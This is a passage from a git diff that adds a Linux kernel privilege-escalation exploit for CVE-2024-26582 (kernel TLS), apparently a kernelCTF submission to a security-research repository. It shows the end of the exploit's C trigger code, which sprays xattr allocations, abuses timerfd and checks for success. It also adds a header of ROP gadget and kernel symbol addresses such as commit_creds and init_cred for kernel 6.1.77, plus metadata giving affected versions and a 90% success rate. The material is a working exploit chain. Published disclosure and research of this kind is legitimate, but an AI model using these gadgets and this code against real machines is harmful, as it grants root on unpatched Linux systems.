alloc_xattr_fd(xattr_fd2, XATTR_IDX(A4, i), 224, g_mmapped_buf); + } + + + for (int i = 0; i < TFD_CNT; i++) + { + timerfd_gettime(tfds[i], &its3); + } + + if (!g_pwned) { + printf("Failed to trigger vuln, try again!\n"); + _exit(0); + } + +// Can't exit, everything might crash + while (1) + sleep(1000); + + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/kernelver_6.1.77.h b/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/kernelver_6.1.77.h new file mode 100644 index 000000000..cc6fa541a --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/kernelver_6.1.77.h @@ -0,0 +1,28 @@ +#define COPY_USER_GENERIC_STRING 0xffffffff82107860 +#define PUSH_RDI_JMP_QWORD_RSI_0F 0xffffffff81dfb868 +#define FIND_TASK_BY_VPID 0xffffffff811b3a60 +#define POP_RCX 0xffffffff8102789d +#define INIT_CRED 0xffffffff838768e0 +#define PUSH_RSI_JMP_QWORD_RSI_0F 0xffffffff81d1fd28 +#define POP_RSI_RDX_RCX 0xffffffff810d12ba +#define INIT_NSPROXY 0xffffffff838766a0 +#define SWITCH_TASK_NAMESPACES 0xffffffff811bb4f0 +#define PUSH_RAX_JMP_QWORD_RCX 0xffffffff814caf93 +#define POP_RDI_RSI_RDX_RCX 0xffffffff810d12b9 +#define POP_RSI_RDI 0xffffffff81a5c5f1 +#define POP_RDX_RDI 0xffffffff818bbefb +#define AUDIT_SYSCALL_EXIT 0xffffffff8126b480 +#define RETURN_VIA_SYSRET 0xffffffff822001d1 +#define MEMCPY 0xffffffff82192d80 +#define COMMIT_CREDS 0xffffffff811bd090 +#define POP_RSI 0xffffffff8215b6db +#define POP_RSP 0xffffffff817e18c8 +#define POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX 0xffffffff810d12b1 +#define POP_RDI 0xffffffff8117f6cc +#define POP_RDX 0xffffffff81048302 +#define RW_BUFFER 0xffffffff84700000 +#define TIMERFD_TMRPROC 0xffffffff8146e2b0 +#define WARNCOMM 0xffffffff8453e980 +#define ADD_RSP_0x180 0xffffffff81b9448c +#define G1 0xffffffff81e0e2e4 +#define POP_RSI_RDI_RBP 0xffffffff81003bc3 diff --git a/pocs/linux/kernelctf/CVE-2024-26582_lts/metadata.json b/pocs/linux/kernelctf/CVE-2024-26582_lts/metadata.json new file mode 100644 index 000000000..0f7364147 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26582_lts/metadata.json @@ -0,0 +1,30 @@ +{ + "$schema": "https://google.github.io/security-research/kernelctf/metadata.schema.v3.json", + "submission_ids": [ + "exp130" + ], + "vulnerability": { + "patch_commit": "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=32b55c5ff9103b8508c1e04bfa5a08c64e7a925f", + "cve": "CVE-2024-26582", + "affected_versions": [ + "6.0 - 6.1.78" + ], + "requirements": { + "attack_surface": [ + ], + "capabilities": [ + ], + "kernel_config": [ + "CONFIG_TLS" + ] + } + }, + "exploits": { + "lts-6.1.77": { + "uses": [ + ], + "requires_separate_kaslr_leak": false, + "stability_notes": "90% success rate" + } + } +} diff --git a/pocs/linux/kernelctf/CVE-2024-26582_lts/original.tar.gz b/pocs/linux/kernelctf/CVE-2024-26582_lts/original.tar.gz new file mode 100644 index 000000000..1dcb21e53 Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26582_lts/original.tar.gz differ